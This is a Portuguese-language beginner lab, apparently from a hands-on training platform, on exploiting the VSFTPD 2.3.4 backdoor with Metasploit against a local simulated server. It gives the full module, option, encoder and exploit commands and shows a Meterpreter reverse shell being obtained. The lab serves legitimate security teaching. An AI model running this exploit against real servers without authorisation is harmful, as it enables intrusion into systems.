Execução de Exploit Simples com Metasploit

LinuxBeginner
Pratique Agora

Introdução

Bem-vindo ao mundo dos testes de penetração com o Metasploit! O Metasploit Framework é uma ferramenta poderosa de código aberto utilizada por profissionais de cibersegurança para investigar vulnerabilidades em redes e servidores.

Neste laboratório, você percorrerá um exploit clássico e direto. Configuramos um ambiente simulado onde um servidor executa uma versão vulnerável do VSFTPD (Very Secure FTP Daemon), especificamente a versão 2.3.4. Esta versão específica contém um backdoor bem conhecido que foi adicionado secretamente ao seu código-fonte.

Seu objetivo é usar o console do Metasploit (msfconsole) para encontrar, configurar e lançar um exploit contra este serviço para obter um shell de comando no sistema de destino. Este exercício prático ensinará o fluxo de trabalho fundamental do uso do Metasploit para a execução de um exploit simples.

Vamos começar!

Este é um Laboratório Guiado, que fornece instruções passo a passo para ajudá-lo a aprender e praticar. Siga as instruções cuidadosamente para concluir cada etapa e obter experiência prática. Dados históricos mostram que este é um laboratório de nível iniciante com uma taxa de conclusão de 95%. Ele recebeu uma taxa de avaliação positiva de 100% dos alunos.

Selecionar o exploit do serviço vulnerável com use exploit/unix/ftp/vsftpd_234_backdoor

Nesta etapa, você iniciará o console do Metasploit e selecionará o módulo de exploit apropriado para o backdoor do VSFTPD 2.3.4. O msfconsole é a interface principal do Metasploit Framework.

Primeiro, inicie o console do Metasploit. Usaremos a flag -q (quiet) para pular o banner e iniciar mais rapidamente.

msfconsole -q

Assim que o console for carregado, seu prompt mudará para msf >. Agora, você precisa informar ao Metasploit qual exploit deseja usar. O comando use carrega um módulo específico. O módulo para o backdoor do VSFTPD 2.3.4 está localizado em exploit/unix/ftp/vsftpd_234_backdoor.

Execute o seguinte comando no console do Metasploit:

use exploit/unix/ftp/vsftpd_234_backdoor

Após executar o comando, você notará que seu prompt muda para incluir o nome do módulo de exploit selecionado. Isso indica que o módulo está ativo e pronto para configuração.

Dependendo da sua versão do Metasploit, um payload padrão pode ser selecionado automaticamente (por exemplo, cmd/linux/http/x86/meterpreter_reverse_tcp). Este payload requer duas configurações:

  1. LHOST - O IP onde o Metasploit aguarda a conexão reversa. Use 127.0.0.1 para este laboratório:
set LHOST 127.0.0.1
  1. Encoder - O codificador padrão pode falhar com a mensagem "All encoders failed to encode." Defina o codificador como generic/none para evitar a codificação:
set Encoder generic/none

Definir o IP de destino com set RHOSTS target_ip

Nesta etapa, você configurará o exploit definindo o endereço IP do host de destino. A maioria dos módulos do Metasploit exige que você especifique um alvo. A opção para o(s) host(s) remoto(s) de destino é RHOSTS.

Como o serviço FTP vulnerável está sendo executado na mesma máquina em que você está (nosso ambiente de laboratório), você pode usar o endereço IP de loopback, que é 127.0.0.1.

Para definir esta opção, use o comando set seguido pelo nome da opção (RHOSTS) e seu valor (127.0.0.1).

Insira o seguinte comando no seu msfconsole:

set RHOSTS 127.0.0.1

O Metasploit confirmará a configuração imprimindo a opção e seu novo valor.

RHOSTS => 127.0.0.1

Agora você informou ao Metasploit para onde direcionar o ataque.

Verificar as opções do exploit com show options

Nesta etapa, você verificará se todas as opções necessárias para o exploit estão definidas corretamente antes de iniciá-lo. Esta é uma prática recomendada crucial para garantir que seu exploit esteja configurado adequadamente.

O comando show options exibe todas as opções configuráveis para o módulo carregado no momento, suas configurações atuais e se são obrigatórias.

Execute o seguinte comando no seu msfconsole:

show options

Você verá uma tabela listando as opções do módulo e as opções do payload.

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  127.0.0.1        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT   21               yes       The target port (TCP)

Payload options (cmd/linux/http/x86/meterpreter_reverse_tcp):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   LHOST    127.0.0.1        yes       The listen address (an interface may be specified)
   LPORT    4444             yes       The listen port
   ...

Observe a saída. Certifique-se de que RHOSTS seja 127.0.0.1 e LHOST seja 127.0.0.1. O RPORT é 21 (FTP). Com todas as opções necessárias definidas, você está pronto para prosseguir.

Executar o Exploit com o comando exploit

Agora que o exploit está configurado, você irá executá-lo contra o alvo. O comando exploit (que pode ser abreviado como run) inicia o ataque com base no módulo e nas configurações atuais.

Execute o exploit digitando o seguinte comando e pressionando Enter:

exploit

SOLUÇÃO DE PROBLEMAS: Se você vir Msf::OptionValidateError One or more options failed to validate: LHOST, execute set LHOST 127.0.0.1. Se você vir All encoders failed to encode, execute set Encoder generic/none para desativar a codificação. Em seguida, execute exploit novamente.

AVISO: A primeira tentativa pode falhar com "Unable to connect to backdoor on 6200/TCP. Cooldown?" ou "Exploit completed, but no session was created." Se isso acontecer, basta executar o comando exploit novamente - a segunda tentativa deverá ser bem-sucedida.

O Metasploit tentará agora explorar o backdoor. Você verá uma saída detalhando as etapas do ataque. Se for bem-sucedido, ele acionará o backdoor e abrirá uma sessão Meterpreter.

[*] Started reverse TCP handler on 127.0.0.1:4444
[!] 127.0.0.1:21 - The port used by the backdoor bind listener is already open. Trying...
[+] 127.0.0.1:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:xxxxx) at ...
meterpreter >

Importante: Após o sucesso do exploit, você será direcionado para um prompt do Meterpreter. Este é o acesso remoto bem-sucedido! Você pode executar shell para obter um terminal de comandos interativo e, em seguida, executar whoami ou id para confirmar que possui acesso:

shell
Process 1234 created.
Channel 1 created.
whoami
labex

Parabéns, você obteve acesso remoto com sucesso!

Verificar a sessão com sessions -l

Nesta etapa, você aprenderá como gerenciar a conexão ativa, ou "sessão", que acabou de abrir. O Metasploit permite que você tenha várias sessões abertas ao mesmo tempo e alterne entre elas.

Primeiro, para retornar ao prompt do msfconsole sem fechar sua sessão, você precisa colocá-la em segundo plano (background). Pressione Ctrl+Z no seu teclado. Se você estiver dentro de um shell (após executar shell), digite y para colocar o canal em segundo plano - você retornará ao meterpreter >. Pressione Ctrl+Z novamente e digite y quando solicitado para colocar a sessão em segundo plano:

Background session 1? [y/N]  y
msf exploit(unix/ftp/vsftpd_234_backdoor) >

O comando sessions só funciona no prompt principal do Metasploit (msf exploit(...) >), não dentro do Meterpreter. Agora você está de volta ao prompt principal do Metasploit. Para ver uma lista de todas as suas sessões ativas, use o comando sessions com a flag -l (list).

sessions -l

Isso exibirá uma tabela de todas as sessões em segundo plano, incluindo seu ID, tipo e informações de conexão.

Active sessions
===============

  Id  Name  Type                    Information  Connection
  --  ----  ----                    -----------  ----------
  1         meterpreter x86/linux                127.0.0.1:4444 -> 127.0.0.1:xxxxx (127.0.0.1)

Você pode ver sua sessão listada com um ID 1. Se quisesse interagir com ela novamente, usaria o comando sessions -i 1. Esse gerenciamento de sessão é um recurso fundamental do Metasploit.

Resumo

Parabéns! Você concluiu este laboratório com sucesso e realizou seu primeiro exploit usando o Metasploit Framework.

Neste laboratório, você aprendeu o fluxo de trabalho fundamental de um teste de penetração com o Metasploit:

  • Iniciar o console do Metasploit (msfconsole).
  • Selecionar um módulo de exploit específico com o comando use.
  • Configurar o alvo do módulo com o comando set.
  • Verificar a configuração com show options.
  • Lançar o ataque usando o comando exploit.
  • Gerenciar a conexão resultante usando sessions.

Este padrão básico de "selecionar, configurar, explorar" é a base para quase todas as atividades que você realizará dentro do Metasploit. Agora você está equipado com o conhecimento central para explorar exploits e payloads mais complexos.